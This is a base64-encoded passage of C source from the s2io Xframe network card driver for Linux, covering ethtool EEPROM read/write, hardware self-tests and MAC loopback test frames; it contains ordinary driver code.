ICAnMCcgb24gc3VjY2VzcywgLTEgb24gZmFpbHVyZS4KICogRGVzY3JpcHRpb246CiAqICBBY3R1 YWxseSB3cml0ZXMgdGhlIHJlbGV2YW50IHBhcnQgb2YgdGhlIGRhdGEgdmFsdWUgaW50byB0aGUg RWVwcm9tCiAqICB0aHJvdWdoIHRoZSBJMkMgYnVzLgogKi8Kc3RhdGljIGludCB3cml0ZUVlcHJv bShuaWNfdCAqc3AsIGludCBvZmYsIHUzMiBkYXRhLCBpbnQgY250KQp7CglpbnQgZXhpdF9jbnQg PSAwLCByZXQgPSAtMTsKCXU2NCB2YWw2NDsKCVhFTkFfZGV2X2NvbmZpZ190ICpiYXIwID0gKFhF TkFfZGV2X2NvbmZpZ190ICopc3AtPmJhcjA7CgkKCXZhbDY0ID0gSTJDX0NPTlRST0xfREVWX0lE KFMySU9fREVWX0lEKSB8IEkyQ19DT05UUk9MX0FERFIob2ZmKSB8CgkJCUkyQ19DT05UUk9MX0JZ VEVfQ05UKGNudCkgfCBJMkNfQ09OVFJPTF9TRVRfREFUQShkYXRhKSB8CgkJCUkyQ19DT05UUk9M X0NOVExfU1RBUlQ7IAoJd3JpdGU2NCgmYmFyMC0+aTJjX2NvbnRyb2wsIHZhbDY0KTsKCQoJd2hp bGUoZXhpdF9jbnQgPCA1KSB7CgkJdmFsNjQgPSByZWFkNjQoJmJhcjAtPmkyY19jb250cm9sKTsK CQlpZihJMkNfQ09OVFJPTF9DTlRMX0VORCh2YWw2NCkpIHsKCQkJaWYoISh2YWw2NCAmIEkyQ19D T05UUk9MX05BQ0spKQoJCQkJcmV0ID0gMDsKCQkJYnJlYWs7CgkJfQoJCW1kZWxheSg1MCk7CgkJ ZXhpdF9jbnQrKzsKCX0KCglyZXR1cm4gcmV0Owp9CgovKiAKICogQSBoZWxwZXIgZnVuY3Rpb24g dXNlZCB0byBpbnZlcnQgdGhlIDQgYnl0ZSB1MzIgZGF0YSBmaWVsZAogKiBieXRlIGJ5IGJ5dGUu IFRoaXMgd2lsbCBiZSB1c2VkIGJ5IHRoZSBSZWFkIEVlcHJvbSBmdW5jdGlvbgogKiBmb3IgZGlz cGxheSBwdXJwb3Nlcy4KICovCnUzMiBpbnYodTMyIGRhdGEpCnsKCXN0YXRpYyB1MzIgcmV0ID0g MDsKCglpZihkYXRhKSB7CgkJdTggYyA9IGRhdGE7CgkJcmV0ID0gKChyZXQgPDwgOCkgKyBjKTsK CQlkYXRhID4+PSA4OwoJCWludihkYXRhKTsKCX0KCglyZXR1cm4gcmV0Owp9CgovKgogKiBJbnB1 dCBBcmd1bWVudC9zOiAKICogIHNwIC0gcHJpdmF0ZSBtZW1iZXIgb2YgdGhlIGRldmljZSBzdHJ1 Y3R1cmUsIHdoaWNoIGlzIGEgcG9pbnRlciB0byB0aGUgCiAqICAgCXMyaW9fbmljIHN0cnVjdHVy ZS4KICogIGVlcHJvbSAtIHBvaW50ZXIgdG8gdGhlIHVzZXIgbGV2ZWwgc3RydWN0dXJlIHByb3Zp ZGVkIGJ5IGV0aHRvb2wsIAogKiAgIGNvbnRhaW5pbmcgYWxsIHJlbGV2YW50IGluZm9ybWF0aW9u LgogKiAgZGF0YV9idWYgLSB1c2VyIGRlZmluZWQgdmFsdWUgdG8gYmUgd3JpdHRlbiBpbnRvIEVl cHJvbS4KICogUmV0dXJuIHZhbHVlOgogKiAgdm9pZAogKiBEZXNjcmlwdGlvbjoKICogIFJlYWRz IHRoZSB2YWx1ZXMgc3RvcmVkIGluIHRoZSBFZXByb20gYXQgZ2l2ZW4gb2Zmc2V0IGZvciBhIGdp dmVuIGxlbmd0aC4KICogIFN0b3JlcyB0aGVzZSB2YWx1ZXMgaW50IHRoZSBpbnB1dCBhcmd1bWVu dCBkYXRhIGJ1ZmZlciAnZGF0YV9idWYnIGFuZAogKiAgcmV0dXJucyB0aGVzZSB0byB0aGUgY2Fs bGVyIChldGh0b29sLikKICovCnN0YXRpYyB2b2lkIHMyaW9fZXRodG9vbF9nZWVwcm9tKG5pY190 ICpzcCwgc3RydWN0IGV0aHRvb2xfZWVwcm9tICplZXByb20sIAoJCQkJY2hhciAqZGF0YV9idWYp CnsKCXUzMiBkYXRhLCBpLCB2YWxpZDsKCQoJZWVwcm9tLT5tYWdpYyA9IHNwLT5wZGV2LT52ZW5k b3IgfCAoc3AtPnBkZXYtPmRldmljZSA8PCAxNik7CgkKCWlmKChlZXByb20tPm9mZnNldCArIGVl cHJvbS0+bGVuKSA+IChYRU5BX0VFUFJPTV9TUEFDRSkpCgkJCWVlcHJvbS0+bGVuID0gWEVOQV9F RVBST01fU1BBQ0UgLSBlZXByb20tPm9mZnNldDsKCglmb3IoaT0wOyBpIDwgZWVwcm9tLT5sZW47 IGkgKz0gNCkgewoJCWRhdGEgPSByZWFkRWVwcm9tKHNwLCBlZXByb20tPm9mZnNldCtpKTsKCQlp ZihkYXRhIDwgMCkgewoJCQlEQkdfUFJJTlQoRVJSX0RCRywiUmVhZCBvZiBFRVBST00gZmFpbGVk XG4iKTsKCQkJcmV0dXJuOwoJCX0KCQl2YWxpZCA9IGludihkYXRhKTsKCQltZW1jcHkoKGRhdGFf YnVmK2kpLCAmdmFsaWQsIDQpOwoJfQp9CgovKgogKiBJbnB1dCBBcmd1bWVudC9zOiAKICogIHNw IC0gcHJpdmF0ZSBtZW1iZXIgb2YgdGhlIGRldmljZSBzdHJ1Y3R1cmUsIHdoaWNoIGlzIGEgcG9p bnRlciB0byB0aGUgCiAqICAgCXMyaW9fbmljIHN0cnVjdHVyZS4KICogIGVlcHJvbSAtIHBvaW50 ZXIgdG8gdGhlIHVzZXIgbGV2ZWwgc3RydWN0dXJlIHByb3ZpZGVkIGJ5IGV0aHRvb2wsIAogKiAg IGNvbnRhaW5pbmcgYWxsIHJlbGV2YW50IGluZm9ybWF0aW9uLgogKiAgZGF0YV9idWYgLSB1c2Vy IGRlZmluZWQgdmFsdWUgdG8gYmUgd3JpdHRlbiBpbnRvIEVlcHJvbS4KICogUmV0dXJuIHZhbHVl OgogKiAgJzAnIG9uIHN1Y2Nlc3MsIC1FRkFVTFQgb24gZmFpbHVyZS4KICogRGVzY3JpcHRpb246 CiAqICBUcmllcyB0byB3cml0ZSB0aGUgdXNlciBwcm92aWRlZCB2YWx1ZSBpbiB0aGUgRWVwcm9t LCBhdCB0aGUgb2Zmc2V0CiAqICBnaXZlbiBieSB0aGUgdXNlci4KICovCnN0YXRpYyBpbnQgczJp b19ldGh0b29sX3NlZXByb20obmljX3QgKnNwLCBzdHJ1Y3QgZXRodG9vbF9lZXByb20gKmVlcHJv bSwgCgkJCQljaGFyICpkYXRhX2J1ZikgCnsKCWludCBsZW4gPSBlZXByb20tPmxlbiwgY250ID0g MDsKCXUzMiB2YWxpZCA9IDAsIGRhdGE7CgkKCWlmKGVlcHJvbS0+bWFnaWMgIT0gKHNwLT5wZGV2 LT52ZW5kb3IgfCAoc3AtPnBkZXYtPmRldmljZSA8PCAxNikpKSB7CgkJREJHX1BSSU5UKEVSUl9E QkcsIkVUSFRPT0xfV1JJVEVfRUVQUk9NIEVycjogTWFnaWMgdmFsdWUgIik7CgkJREJHX1BSSU5U KEVSUl9EQkcsImlzIHdyb25nLCBJdHMgbm90IDB4JXhcbiIsIGVlcHJvbS0+bWFnaWMpOwoJCXJl dHVybiAtRUZBVUxUOwoJfQoJCgl3aGlsZShsZW4pIHsKCQlkYXRhID0gKHUzMikgZGF0YV9idWZb Y250XSAmIDB4MDAwMDAwRkY7CgkJaWYoZGF0YSkgewoJCQl2YWxpZCA9ICh1MzIpKGRhdGEgPDwg MjQpOwoJCX0KCQllbHNlCgkJCXZhbGlkID0gZGF0YTsKCQkKCQlpZih3cml0ZUVlcHJvbShzcCwg KGVlcHJvbS0+b2Zmc2V0K2NudCksIHZhbGlkLCAwKSkgewoJCQlEQkdfUFJJTlQoRVJSX0RCRywi RVRIVE9PTF9XUklURV9FRVBST00gRXJyOiBDYW5ub3QgIik7CgkJCURCR19QUklOVChFUlJfREJH LCJ3cml0ZSBpbnRvIHRoZSBzcGVjaWZpZWQgb2Zmc2V0XG4iKTsKCQkJcmV0dXJuIC1FRkFVTFQ7 CgkJfQoJCWNudCsrOwoJCWxlbi0tOwoJfQoKCXJldHVybiAwOwkKfQoKLyoKICogSW5wdXQgQXJn dW1lbnQvczogCiAqICBzcCAtIHByaXZhdGUgbWVtYmVyIG9mIHRoZSBkZXZpY2Ugc3RydWN0dXJl LCB3aGljaCBpcyBhIHBvaW50ZXIgdG8gdGhlIAogKiAgIAlzMmlvX25pYyBzdHJ1Y3R1cmUuCiAq ICBkYXRhIC0gdmFyaWFibGUgdGhhdCByZXR1cm5zIHRoZSByZXN1bHQgb2YgZWFjaCBvZiB0aGUg dGVzdCBjb25kdWN0ZWQgYnkgCiAqICAJdGhlIGRyaXZlci4KICogUmV0dXJuIHZhbHVlOgogKiAg JzAnIG9uIHN1Y2Nlc3MuCiAqIERlc2NyaXB0aW9uOgogKiAgUmVhZCBhbmQgd3JpdGUgaW50byBh bGwgY2xvY2sgZG9tYWlucy4gVGhlIE5JQyBoYXMgMyBjbG9jayBkb21haW5zLAogKiAgc2VlIHRo YXQgcmVnaXN0ZXJzIGluIGFsbCB0aGUgdGhyZWUgcmVnaW9ucyBhcmUgYWNjZXNzaWJsZS4KICov CnN0YXRpYyBpbnQgczJpb19yZWdpc3RlclRlc3QobmljX3QgKnNwLCB1aW50NjRfdCAqZGF0YSkK ewoJWEVOQV9kZXZfY29uZmlnX3QgKmJhcjAgPSAoWEVOQV9kZXZfY29uZmlnX3QgKilzcC0+YmFy MDsKCXU2NCB2YWw2NCA9IDA7CglpbnQgZmFpbCA9IDA7CgoJdmFsNjQgPSByZWFkNjQoJmJhcjAt PnBjY19lbmFibGUpOwoJaWYodmFsNjQgIT0gMHhmZjAwMDAwMDAwMDAwMDAwVUxMKSB7CgkJZmFp bCA9IDE7CgkJREJHX1BSSU5UKElORk9fREJHLCJSZWFkIFRlc3QgbGV2ZWwgMSBmYWlsc1xuIik7 Cgl9CgkKCXZhbDY0ID0gcmVhZDY0KCZiYXIwLT5ybWFjX3BhdXNlX2NmZyk7CglpZih2YWw2NCAh PSAweGMwMDBmZmZmMDAwMDAwMDBVTEwpIHsKCQlmYWlsID0gMTsKCQlEQkdfUFJJTlQoSU5GT19E QkcsIlJlYWQgVGVzdCBsZXZlbCAyIGZhaWxzXG4iKTsKCX0KCQoJdmFsNjQgPSByZWFkNjQoJmJh cjAtPnJ4X3F1ZXVlX2NmZyk7CglpZih2YWw2NCAhPSAweDA4MDgwODA4MDgwODA4MDhVTEwpIHsK CQlmYWlsID0gMTsKCQlEQkdfUFJJTlQoSU5GT19EQkcsIlJlYWQgVGVzdCBsZXZlbCAzIGZhaWxz XG4iKTsKCX0KCQoJdmFsNjQgPSByZWFkNjQoJmJhcjAtPnhneHNfZWZpZm9fY2ZnKTsKCWlmKHZh bDY0ICE9IDB4MDAwMDAwMDAxOTIzMTQxRVVMTCkgewoJCWZhaWwgPSAxOwoJCURCR19QUklOVChJ TkZPX0RCRywiUmVhZCBUZXN0IGxldmVsIDQgZmFpbHNcbiIpOwoJfQoJCgl2YWw2NCA9IDB4NUE1 QTVBNUE1QTVBNUE1QVVMTDsKCXdyaXRlNjQoJmJhcjAtPnhtc2lfZGF0YSwgdmFsNjQpOwoJdmFs NjQgPSByZWFkNjQoJmJhcjAtPnhtc2lfZGF0YSk7CQoJaWYodmFsNjQgIT0gMHg1QTVBNUE1QTVB NUE1QTVBVUxMKSB7CgkJZmFpbCA9IDE7CgkJREJHX1BSSU5UKEVSUl9EQkcsIldyaXRlIFRlc3Qg bGV2ZWwgMSBmYWlsc1xuIik7Cgl9CgoJdmFsNjQgPSAweEE1QTVBNUE1QTVBNUE1QTVVTEw7Cgl3 cml0ZTY0KCZiYXIwLT54bXNpX2RhdGEsIHZhbDY0KTsKCXZhbDY0ID0gcmVhZDY0KCZiYXIwLT54 bXNpX2RhdGEpOwkKCWlmKHZhbDY0ICE9IDB4QTVBNUE1QTVBNUE1QTVBNVVMTCkgewoJCWZhaWwg PSAxOwoJCURCR19QUklOVChFUlJfREJHLCJXcml0ZSBUZXN0IGxldmVsIDIgZmFpbHNcbiIpOwoJ fQoKCSpkYXRhID0gZmFpbDsKCXJldHVybiAwOwp9CgovKgogKiBJbnB1dCBBcmd1bWVudC9zOiAK ICogIHNwIC0gcHJpdmF0ZSBtZW1iZXIgb2YgdGhlIGRldmljZSBzdHJ1Y3R1cmUsIHdoaWNoIGlz IGEgcG9pbnRlciB0byB0aGUgCiAqICAgCXMyaW9fbmljIHN0cnVjdHVyZS4KICogIGRhdGEgLSB2 YXJpYWJsZSB0aGF0IHJldHVybnMgdGhlIHJlc3VsdCBvZiBlYWNoIG9mIHRoZSB0ZXN0IGNvbmR1 Y3RlZCBieSAKICogIAl0aGUgZHJpdmVyLgogKiBSZXR1cm4gdmFsdWU6CiAqICAnMCcgb24gc3Vj Y2Vzcy4KICogRGVzY3JpcHRpb246CiAqICBWZXJpZnkgdGhhdCBFRVBST00gaW4gdGhlIHhlbmEg Y2FuIGJlIHByb2dyYW1tZWQgdXNpbmcgSTJDX0NPTlRST0wgCiAqICByZWdpc3Rlci4KICovCnN0 YXRpYyBpbnQgczJpb19lZXByb21UZXN0KG5pY190ICpzcCwgdWludDY0X3QgKmRhdGEpCnsKCWlu dCBmYWlsID0gMCwgcmV0X2RhdGE7CgoJLyogVGVzdCBXcml0ZSBFcnJvciBhdCBvZmZzZXQgMCov CglpZighd3JpdGVFZXByb20oc3AsIDAsIDAsIDMpKQoJCWZhaWwgPSAxOwoKCS8qIFRlc3QgV3Jp dGUgYXQgb2Zmc2V0IDRmMCAqLwkKCWlmKHdyaXRlRWVwcm9tKHNwLCAweDRGMCwgMHgwMTIzNDU2 NywgMykpCgkJZmFpbCA9IDE7CglpZigocmV0X2RhdGEgPSByZWFkRWVwcm9tKHNwLCAweDRmMCkp IDwgMCkKCQlmYWlsID0gMTsKCglpZihyZXRfZGF0YSAhPSAweDAxMjM0NTY3KQoJCWZhaWwgPSAx OwoKCS8qIFJlc2V0IHRoZSBFRVBST00gZGF0YSBnbyBGRkZGKi8KCXdyaXRlRWVwcm9tKHNwLCAw eDRGMCwgMHhGRkZGRkZGRiwgMyk7CgoJLyogVGVzdCBXcml0ZSBSZXF1ZXN0IEVycm9yIGF0IG9m ZnNldCAweDdjKi8KCWlmKCF3cml0ZUVlcHJvbShzcCwgMHgwN0MsIDAsIDMpKQoJCWZhaWwgPSAx OwoJCgkvKiBUZXN0IFdyaXRlIFJlcXVlc3QgYXQgb2Zmc2V0IDB4N2ZjKi8JCglpZih3cml0ZUVl cHJvbShzcCwgMHg3RkMsIDB4MDEyMzQ1NjcsIDMpKQoJCWZhaWwgPSAxOwoJaWYoKHJldF9kYXRh ID0gcmVhZEVlcHJvbShzcCwgMHg3RkMpKSA8IDApCgkJZmFpbCA9IDE7CgoJaWYocmV0X2RhdGEg IT0gMHgwMTIzNDU2NykKCQlmYWlsID0gMTsKCgkvKiBSZXNldCB0aGUgRUVQUk9NIGRhdGEgZ28g RkZGRiovCQoJd3JpdGVFZXByb20oc3AsIDB4N0ZDLCAweEZGRkZGRkZGLCAzKTsKCgkvKiBUZXN0 IFdyaXRlIEVycm9yIGF0IG9mZnNldCAweDgwICovCglpZighd3JpdGVFZXByb20oc3AsIDB4MDgw LCAwLCAzKSkKCQlmYWlsID0gMTsKCQoJLyogVGVzdCBXcml0ZSBFcnJvciBhdCBvZmZzZXQgMHhm YyAqLwoJaWYoIXdyaXRlRWVwcm9tKHNwLCAweDBGQywgMCwgMykpCgkJZmFpbCA9IDE7CgkKCS8q IFRlc3QgV3JpdGUgRXJyb3IgYXQgb2Zmc2V0IDB4MTAwKi8KCWlmKCF3cml0ZUVlcHJvbShzcCwg MHgxMDAsIDAsIDMpKQoJCWZhaWwgPSAxOwoJCgkvKiBUZXN0IFdyaXRlIEVycm9yIGF0IG9mZnNl dCA0ZWMgKi8KCWlmKCF3cml0ZUVlcHJvbShzcCwgMHg0RUMsIDAsIDMpKQoJCWZhaWwgPSAxOwoJ CgkqZGF0YSA9IGZhaWw7CglyZXR1cm4gMDsKfQoKLyoKICogSW5wdXQgQXJndW1lbnQvczogCiAq ICBzcCAtIHByaXZhdGUgbWVtYmVyIG9mIHRoZSBkZXZpY2Ugc3RydWN0dXJlLCB3aGljaCBpcyBh IHBvaW50ZXIgdG8gdGhlIAogKiAgIAlzMmlvX25pYyBzdHJ1Y3R1cmUuCiAqICBkYXRhIC0gdmFy aWFibGUgdGhhdCByZXR1cm5zIHRoZSByZXN1bHQgb2YgZWFjaCBvZiB0aGUgdGVzdCBjb25kdWN0 ZWQgYnkgCiAqICAJdGhlIGRyaXZlci4KICogUmV0dXJuIHZhbHVlOgogKiAgJzAnIG9uIHN1Y2Nl c3MgYW5kIC0xIG9uIGZhaWx1cmUuCiAqIERlc2NyaXB0aW9uOgogKiAgVGhpcyBpbnZva2VzIHRo ZSBNZW1CaXN0IHRlc3Qgb2YgdGhlIGNhcmQuIFdlIGdpdmUgYXJvdW5kCiAqICAyIHNlY3MgdGlt ZSBmb3IgdGhlIFRlc3QgdG8gY29tcGxldGUuIElmIGl0J3Mgc3RpbGwgbm90IGNvbXBsZXRlCiAq ICB3aXRoaW4gdGhpcyBwZWlvZCwgd2UgY29uc2lkZXIgdGhhdCB0aGUgdGVzdCBmYWlsZWQuIAog Ki8Kc3RhdGljIGludCBzMmlvX2Jpc3RUZXN0KG5pY190ICpzcCwgdWludDY0X3QgKmRhdGEpCnsK CXU4IGJpc3QgPSAwOwoJaW50IGNudCA9IDAsIHJldCA9IC0xOwoKCXBjaV9yZWFkX2NvbmZpZ19i eXRlKHNwLT5wZGV2LCBQQ0lfQklTVCwgJmJpc3QpOwoJYmlzdCB8PSBQQ0lfQklTVF9TVEFSVDsK CXBjaV93cml0ZV9jb25maWdfd29yZChzcC0+cGRldiwgUENJX0JJU1QsIGJpc3QpOwoKCXdoaWxl KGNudCA8IDIwKSB7CgkJcGNpX3JlYWRfY29uZmlnX2J5dGUoc3AtPnBkZXYsIFBDSV9CSVNULCAm YmlzdCk7CgkJaWYoIShiaXN0ICYgUENJX0JJU1RfU1RBUlQpKSB7CgkJCSpkYXRhID0gKGJpc3Qg JiBQQ0lfQklTVF9DT0RFX01BU0spOwoJCQlyZXQgPSAwOwoJCQlicmVhazsKCQl9CgkJbWRlbGF5 KDEwMCk7CgkJY250Kys7Cgl9CgoJcmV0dXJuIHJldDsKfQoKLyoKICogSW5wdXQgQXJndW1lbnQv czogCiAqICBzcCAtIHByaXZhdGUgbWVtYmVyIG9mIHRoZSBkZXZpY2Ugc3RydWN0dXJlLCB3aGlj aCBpcyBhIHBvaW50ZXIgdG8gdGhlIAogKiAgIAlzMmlvX25pYyBzdHJ1Y3R1cmUuCiAqICBkYXRh IC0gdmFyaWFibGUgdGhhdCByZXR1cm5zIHRoZSByZXN1bHQgb2YgZWFjaCBvZiB0aGUgdGVzdCBj b25kdWN0ZWQgYnkgCiAqICAJdGhlIGRyaXZlci4KICogUmV0dXJuIHZhbHVlOgogKiAgJzAnIG9u IHN1Y2Nlc3MuCiAqIERlc2NyaXB0aW9uOgogKiAgVGhlIGZ1bmN0aW9uIHZlcmlmaWVzIHRoZSBs aW5rIHN0YXRlIG9mIHRoZSBOSUMgYW5kIHVwZGF0ZXMgdGhlIGlucHV0IAogKiAgYXJndW1lbnQg J2RhdGEnIGFwcHJvcHJpYXRlbHkuCiAqLwpzdGF0aWMgaW50IHMyaW9fbGlua1Rlc3QobmljX3Qg KnNwLCB1aW50NjRfdCAqZGF0YSkKewoJWEVOQV9kZXZfY29uZmlnX3QgKmJhcjAgPSAoWEVOQV9k ZXZfY29uZmlnX3QgKilzcC0+YmFyMDsKCXU2NCB2YWw2NDsKCiAgIAl2YWw2NCA9IHJlYWQ2NCgm YmFyMC0+YWRhcHRlcl9zdGF0dXMpOwoJaWYodmFsNjQgJiBBREFQVEVSX1NUQVRVU19STUFDX0xP Q0FMX0ZBVUxUKQoJCSpkYXRhID0gMTsKCQoJcmV0dXJuIDA7Cn0KCi8qCiAqIElucHV0IEFyZ3Vt ZW50L3M6IAogKiAgc2tiIC0gUmVjZWl2ZWQgcGFja2V0IGJ1ZmZlci4KICogIGRldiAtIHBvaW50 ZXIgdG8gdGhlIGRldmljZSBzdHJ1Y3R1cmUgb2YgdGhlIE5JQy4KICogIHB0IC0gdGhlIHBhY2tl dCB0eXBlIHN0cnVjdHVyZSB1c2VkIHRvIHJlZ2lzdGVyIHRoaXMgcGFydGljdWxhciBwcm90b2Nv bAogKiAgIGZ1bmN0aW9uLgogKiBSZXR1cm4gdmFsdWU6CiAqICAnMCcgb24gc3VjY2Vzcy4KICog RGVzY3JpcHRpb246CiAqICBUaGUgZnVuY3Rpb24gcmVjZWl2ZXMgdGhlIExvb3BiYWNrIHRlc3Qg ZnJhbWVzIHNlbnQgdXAgYnkgdGhlIGRyaXZlcidzIAogKiAgUnggSW50ZXJydXB0IGhhbmRsZXIg YW5kIGluY3JlbWVudHMgYSBkZXZpY2Ugc3BlY2VmaWMgY291bnRlciB0aGF0IGtlZXBzIAogKiAg dHJhY2sgb2YgaG93IG1hbnkgb2YgdGhlc2UgZnJhbWVzIHdlcmUgcmVjZWl2ZWQuIEl0IGFsc28g ZnJlZXMgdXAgdGhlIAogKiAgcGFja2V0IGJ1ZmZlciAoc2tiKS4KICovCmludCBldGhfdGVzdF9y Y3ZyKHN0cnVjdCBza19idWZmICpza2IsIHN0cnVjdCBuZXRfZGV2aWNlICpkZXYsIAoJc3RydWN0 IHBhY2tldF90eXBlICpwdCkKewoJbmljX3QgKnNwID0gKG5pY190ICopZGV2LT5wcml2OwoJCglz cC0+bG9vcF9wa3RfY250Kys7CglkZXZfa2ZyZWVfc2tiKHNrYik7CgkKCURCR19QUklOVChJTkZP X0RCRywiV2FzIGluIExvb3BiYWNrIFJjdiAlZCB0aW1lc1xuIixzcC0+bG9vcF9wa3RfY250KTsK CXJldHVybiAwOwp9CgovKgogKiBJbnB1dCBBcmd1bWVudC9zOiAKICogIHNwIC0gcHJpdmF0ZSBt ZW1iZXIgb2YgdGhlIGRldmljZSBzdHJ1Y3R1cmUsIHdoaWNoIGlzIGEgcG9pbnRlciB0byB0aGUg CiAqICAgCXMyaW9fbmljIHN0cnVjdHVyZS4KICogUmV0dXJuIHZhbHVlOgogKiAgdm9pZAogKiBE ZXNjcmlwdGlvbjoKICogIFRoZSBmdW5jdGlvbnMgcHV0cyB0aGUgTUFDIGluIGxvb3BiYWNrIG1v ZGUgYW5kIGFkZHMgYSBwcml2YXRlIHByb3RvY29sIAogKiAgZnVuY3Rpb24gdG8gcmVjZWl2ZSB0 aGUgTG9vcGJhY2sgdGVzdCBmcmFtZXMgc2VudCBvdXQgd2hpbGUgdGVzdGluZy4KICovCnZvaWQg c2V0dXBfbG9vcGJhY2sobmljX3QgKnNwKQp7CgkKCVhFTkFfZGV2X2NvbmZpZ190ICpiYXIwID0g KFhFTkFfZGV2X2NvbmZpZ190ICopc3AtPmJhcjA7Cgl1NjQgdmFsNjQ7Cgl2b2lkICphZGQ7CgoJ LyogUHV0dGluZyBkZXZpY2UgaW50byBNQUMgTG9vcGJhY2sgKi8KCXZhbDY0ICA9IHJlYWQ2NCgm YmFyMC0+bWFjX2NmZyk7Cgl2YWw2NCB8PSBNQUNfQ0ZHX1RNQUNfTE9PUEJBQ0s7CgoJYWRkID0g KHZvaWQgKikmYmFyMC0+bWFjX2NmZzsKCXdyaXRlNjQoJmJhcjAtPnJtYWNfY2ZnX2tleSwgUk1B Q19DRkdfS0VZKDB4NEMwRCkpOwoJd3JpdGVsKCh1MzIpKHZhbDY0KSwgYWRkKTsKCXdyaXRlNjQo JmJhcjAtPnJtYWNfY2ZnX2tleSwgUk1BQ19DRkdfS0VZKDB4NEMwRCkpOwoJd3JpdGVsKCh1MzIp KHZhbDY0ID4+MzIpLCAoYWRkKzQpKTsKCXZhbDY0ID0gcmVhZDY0KCZiYXIwLT5tYWNfY2ZnKTsK CQoJZGV2X2FkZF9wYWNrKCZldGh0b29sX3Rlc3QpOwp9CgovKgogKiBJbnB1dCBBcmd1bWVudC9z OiAKICogIHNwIC0gcHJpdmF0ZSBtZW1iZXIgb2YgdGhlIGRldmljZSBzdHJ1Y3R1cmUsIHdoaWNo IGlzIGEgcG9pbnRlciB0byB0aGUgCiAqICAgCXMyaW9fbmljIHN0cnVjdHVyZS4KICogUmV0dXJu IHZhbHVlOgogKiAgMCBvbiBzdWNjZXNzIGFuZCAtRU5PTUVNIG9uIGZhaWx1cmUuCiAqIERlc2Ny aXB0aW9uOgogKiAgVGhlIGZ1bmN0aW9uIGNyZWF0ZXMgYSBzcGVjaWFsIFRlc3QgZnJhbWUgd2l0 aCBhIHByaXZhdGUgcGFja2V0IHR5cGUvbGVuZ3RoCiAqICBmaWVsZCBhbmQgYSBzZXF1ZW5jZSBu dW1iZXIgYW5kIHRyYW5zbWl0cyBpdC4gVGhyZWUgc3VjaCBwYWNrZXRzIGFyZQogKiAgdHJhbnNt aXR0ZWQuCiAqLwppbnQgc2VuZF90ZXN0RnJtcyhuaWNfdCAqc3ApCnsKCWludCBjbnQgPSAxOwoJ d2hpbGUoY250IDwgNCkgewoJCXU4ICpidWY7CgkJc3RydWN0IHNrX2J1ZmYgKnNrYiA9IGRldl9h bGxvY19za2IoVEVTVF9GUk1fU0laRStFVEhfSExFTik7CgkJaWYoIXNrYikKCQkJcmV0dXJuIC1F Tk9NRU07CgkJCgkJc2tiLT5kZXYgPSBzcC0+ZGV2OwoJCXNrYi0+bWFjLnJhdyA9IHNrYl9wdXQo c2tiLCBURVNUX0ZSTV9TSVpFKTsKCQltZW1jcHkoc2tiLT5tYWMucmF3LCBzcC0+ZGV2LT5kZXZf YWRkciwgRVRIX0FMRU4pOwoJCW1lbWNweShza2ItPm1hYy5yYXcrRVRIX0FMRU4sIHNwLT5kZXYt PmRldl9hZGRyLCBFVEhfQUxFTik7CgkJc2tiLT5tYWMucmF3WzIqRVRIX0FMRU5dID0gbnRvaHMo RVRIX0xPT1BfVEVTVF9UWVBFKS8weDEwMDsKCQlza2ItPm1hYy5yYXdbMipFVEhfQUxFTisxXSA9 IG50b2hzKEVUSF9MT09QX1RFU1RfVFlQRSklMHgxMDA7CgkJCgkJc2tiLT5uaC5yYXcgPSBza2It Pm1hYy5yYXcrRVRIX0hMRU47CgkJYnVmID0gKHU4ICopc2tiLT5uaC5yYXc7CgkJKmJ1ZiA9IGNu dDsKCQltZW1zZXQoKGJ1ZitURVNUX1NFUV9TSVpFKSwgMHhBNSwgCgkJCQkoVEVTVF9GUk1fU0la RSAtIFRFU1RfU0VRX1NJWkUpKTsKCQlkZXZfcXVldWVfeG1pdChza2IpOwoJCWNudCsrOwoJfQoJ cmV0dXJuIDA7Cn0KCi8qCiAqIElucHV0IEFyZ3VtZW50L3M6IAogKiAgc3AgLSBwcml2YXRlIG1l bWJlciBvZiB0aGUgZGV2aWNlIHN0cnVjdHVyZSwgd2hpY2ggaXMgYSBwb2ludGVyIHRvIHRoZSAK ICogICAJczJpb19uaWMgc3RydWN0dXJlLgogKiBSZXR1cm4gdmFsdWU6CiAqICAwIG9uIHN1Y2Nl c3MgYW5kIC0xIG9uIGZhaWx1cmUuCiAqIERlc2NyaXB0aW9uOgogKiAgVGhlIGZ1bmN0aW9uIHZl cmlmaWVzIGlmIHdlIGluZGVlZCByZWNlaXZlZCAzIExvb3BiYWNrIHRlc3QgZnJhbWVzLgogKi8K aW50IHZlcmlmeV90ZXN0RnJtcyhuaWNfdCAqc3ApCnsKCWludCByZXQgPSAwOwoKCWlmKHNwLT5s b29wX3BrdF9jbnQgIT0gRVRIX0xPT1BfVEVTVF9DTlQpIHsKCQlEQkdfUFJJTlQoRVJSX0RCRywi UGt0cyByZWNlaXZlZDogJWRcbiIsc3AtPmxvb3BfcGt0X2NudCk7CgkJcmV0ID0gLTE7Cgl9CgkK CXJldHVybiByZXQ7Cn0KCi8qCiAqIElucHV0IEFyZ3VtZW50L3M6IAogKiAgc3AgLSBwcml2YXRl IG1lbWJlciBvZiB0aGUgZGV2aWNlIHN0cnVjdHVyZSwgd2hpY2ggaXMgYSBwb2ludGVyIHRvIHRo ZSAKICogICAJczJpb19uaWMgc3RydWN0dXJlLgogKiBSZXR1cm4gdmFsdWU6CiAqICB2b2lkCiAq IERlc2NyaXB0aW9uOgogKiAgVGhlIGZ1bmN0aW9uIHdpbGwgcmVtb3ZlIHRoZSBNQUMgZnJvbSBs b29wIGJhY2sgbW9kZSBhbmQgYWxzbyByZW1vdmVzIHRoZQogKiAgcHJpdmF0ZSBwcm90b2NvbCBm dW5jdGlvbiBhZGRlZCBpbnRvIHRoZSBrZXJuZWwgdG8gaGFuZGxlIHNwZWNpYWwgbG9vcCAKICog IGJhY2sgZnJhbWVzIHNlbnQgb3V0IHdoaWxlIHRlc3RpbmcuCiAqLwp2b2lkIHJlc2V0X2xvb3Bi YWNrKG5pY190ICpzcCkKewoJWEVOQV9kZXZfY29uZmlnX3QgKmJhcjAgPSAoWEVOQV9kZXZfY29u ZmlnX3QgKilzcC0+YmFyMDsKCXU2NCB2YWw2NDsKCXZvaWQgKmFkZDsKCgkvKiBSZS1zZXR0aW5n IExvb3AgY291bnRlciB0byAwLiAqLwoJc3AtPmxvb3BfcGt0X2NudCA9IDA7CgoJLyogUmVtb3Zp bmcgZGV2aWNlIGZyb20gTUFDIExvb3BiYWNrICovCgl2YWw2NCAgPSByZWFkNjQoJmJhcjAtPm1h 